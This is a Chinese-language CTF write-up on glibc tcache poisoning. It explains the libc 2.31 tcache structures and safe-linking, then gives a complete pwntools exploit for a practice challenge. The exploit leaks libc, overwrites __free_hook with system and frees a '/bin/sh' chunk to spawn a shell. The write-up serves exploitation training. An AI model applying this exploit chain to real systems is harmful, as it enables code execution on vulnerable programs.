Tcache attack

Tcache attack

Tcache的结构

我们看看libc2.31的源码其相关的定义

#if USE_TCACHE
/* We want 64 entries. This is an arbitrary limit, which tunables can reduce. */#字面意思
# define TCACHE_MAX_BINS 64
# define MAX_TCACHE_SIZE tidx2usize (TCACHE_MAX_BINS-1)
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */#意思大概就是他利用释放后堆块的内存去储存这个结构,不会新调用内存
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */#和字面意思一样,这个key值防止double free
struct tcache_perthread_struct *key;
} tcache_entry;
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */#重要的应该就是这个tcache是每个线程都有一个吧,其他的应该是字面意思
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
static __thread bool tcache_shutting_down = false;
static __thread tcache_perthread_struct *tcache = NULL;

TCACHE_MAX_BINS这个宏大小被定义为64,也就是0x40。我们可以简单算一下tcache_perthread_struct结构的大小,0x40个uint16_t数组大小是0x80,有0x40个指向tcache_entry的指针也就是0x200的大小合起来也就是0x280(在libc2.30之前是0x240,区别在count的定义上,之前的类型是char)个可写内存,实际的堆块大小应该是0x290,下面我们看看这个tcache结构是放在哪的。

static void
tcache_init(void)
{
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);#tcache结构的大小给了bytes
if (tcache_shutting_down)
return;
arena_get (ar_ptr, bytes);#获取一个可用的 arena
victim = _int_malloc (ar_ptr, bytes);#分配对应大小的内存,也就是0x290
if (!victim && ar_ptr != NULL)#如果第一次分配失败就再试一次
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */#字面意思
if (victim)
{
tcache = (tcache_perthread_struct *) victim;#把对应内存的指针给tcache
memset (tcache, 0, sizeof (tcache_perthread_struct));#把这段内存清零
}
}

再后面的部分我就先用宏观的角度讲讲吧,先不结合源码讲了,tcache的链表的堆块大小从0x20一直到0x410,一共0x40个堆块,符合我们在上面看见的宏定义,如果大于这个范围那就不会进tcache,并且每个链表的堆块最大只有7个,比如0x20个堆块,他最多储存7个0x20大小的堆,剩下如果还有,那就不会进tcache。另外还要注意的就是,在libc2.41之前calloc申请堆块是不会走tcache的,也就是如果calloc申请堆块,他会直接申请其他bin中对应的堆或直接从top chunk里切割。还有就是他的next指针是直接指向下一个堆块的next指针(也就是下一个堆块的可写地址而不是堆块头)

其他特性基本与fastbin相同,单向链表,先进后出,头插法。要注意的就是在libc2.28之前tcache没有那个key值,所以可以随意double free,后面再关键一点的转变就是2.32的safelinking机制了,safelinking简单来说就是对next指针进行了加密,不能直接改成堆/目标地址了,他的加密过程的代码如下

#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))

就是加密值 = next原本指向的地址 ^ (next指针的地址>> 12)next原本应该指向的地址就是下一个堆块的地址,所以在有safelinking的时候我们攻击就还需要泄露堆地址。

攻击

攻击有两种大方向,第一种是通过uaf,堆溢出,off by one/null + overlap直接改next指针,在libc2.32前我们只需要free大小相同的堆块a,free堆块b然后修改b堆块的next指针改成目标地址即可,不需要在目标地址伪造堆块,而2.32后就需要伪造大小了。第二种是unlink在smallbin的堆块放入tcache时,因为他只检测第一个堆块的合法性,没有检查其他堆块,所以只要修改第一个堆块的bk指针申请任意地址了。下面我还是演示一下攻击

polarctf-unk

因为这题漏洞很多就拿来练手了可以去靶场下载,去pwn那个方向搜一下就好(远程是2.23)PolarD&N,我们先patchelf一下把这个环境设置成2.31的。这题就是有uaf,有堆溢出,可以show,以及随意申请任意大小的堆块。我把反编译的代码贴出来。

int __fastcall main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
while ( 1 )
{
menu();
switch ( get_num() )
{
case 1:
add_chunk();
break;
case 2:
delete_chunk();
break;
case 3:
edit_chunk();
break;
case 4:
show_chunk();
break;
case 5:
exit(0);
default:
puts("invalid choice.");
break;
}
}

menu就是打印一些提示

int __cdecl get_num()
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
read(0, buf, 0x10u);
return atoi(buf);
}
void __cdecl add_chunk()
{
int index; // [rsp+8h] [rbp-8h]
int size; // [rsp+Ch] [rbp-4h]
puts("index:");
index = get_num();
puts("size:");
size = get_num();
chunk_list[index] = (char *)malloc(size);
}
void __cdecl delete_chunk()
{
int index; // [rsp+Ch] [rbp-4h]
puts("index:");
index = get_num();
free(chunk_list[index]);
}
void __cdecl edit_chunk()
{
int index; // [rsp+8h] [rbp-8h]
int length; // [rsp+Ch] [rbp-4h]
puts("index:");
index = get_num();
puts("length:");
length = get_num();
puts("content:");
read(0, chunk_list[index], length);
}
void __cdecl show_chunk()
{
int index; // [rsp+Ch] [rbp-4h]
puts("index:");
index = get_num();
puts(chunk_list[index]);
}

思路就是先申请一个大于0x410的堆块进unsortedbin泄露libc地址,然后free一个堆块,free第二个堆块,改第二个堆块的next指针为freehook,申请两下申请到freehook的地址,然后往一个堆块里写一个/bin/sh\x00字符串,free掉这个堆块即可getshell

我选的版本是2.31-0ubuntu9.18,exp如下:

#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 0
if flag:
p = remote('1')
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s).encode())
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
pay=p64(0)+p64(0)+p64(1)
return pay
def ph(s):
print(hex(s))
def dbg():
# context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
pause()
def add(s,a):
ru(b"choice:")
sdr(1)
ru(b"index:")
sdr(s)
ru(b"size:")
sdr(a)
def free(s):
ru(b"choice:")
sdr(2)
ru(b"index:")
sdr(s)
def edit(s,a,d):
ru(b"choice:")
sdr(3)
ru(b"index:")
sdr(s)
ru(b"length:")
sdr(a)
ru(b"content:")
sd(d)
def show(s):
ru(b"choice:")
sdr(4)
ru(b"index:")
sdr(s)
add(0,0x410)
add(1,0x20)
free(0)
add(0,0x20)
show(0)
rcl()
libcbase=u6(6)-0x1ecfd0
ph(libcbase)
fh=libcbase+libc.sym['__free_hook']
sy=libcbase+libc.sym['system']
free(0)
free(1)
edit(1,0x8,p64(fh))
add(0,0x20)
add(1,0x20)
edit(1,8,p64(sy))
edit(0,8,b'/bin/sh\x00')
free(0)
ti()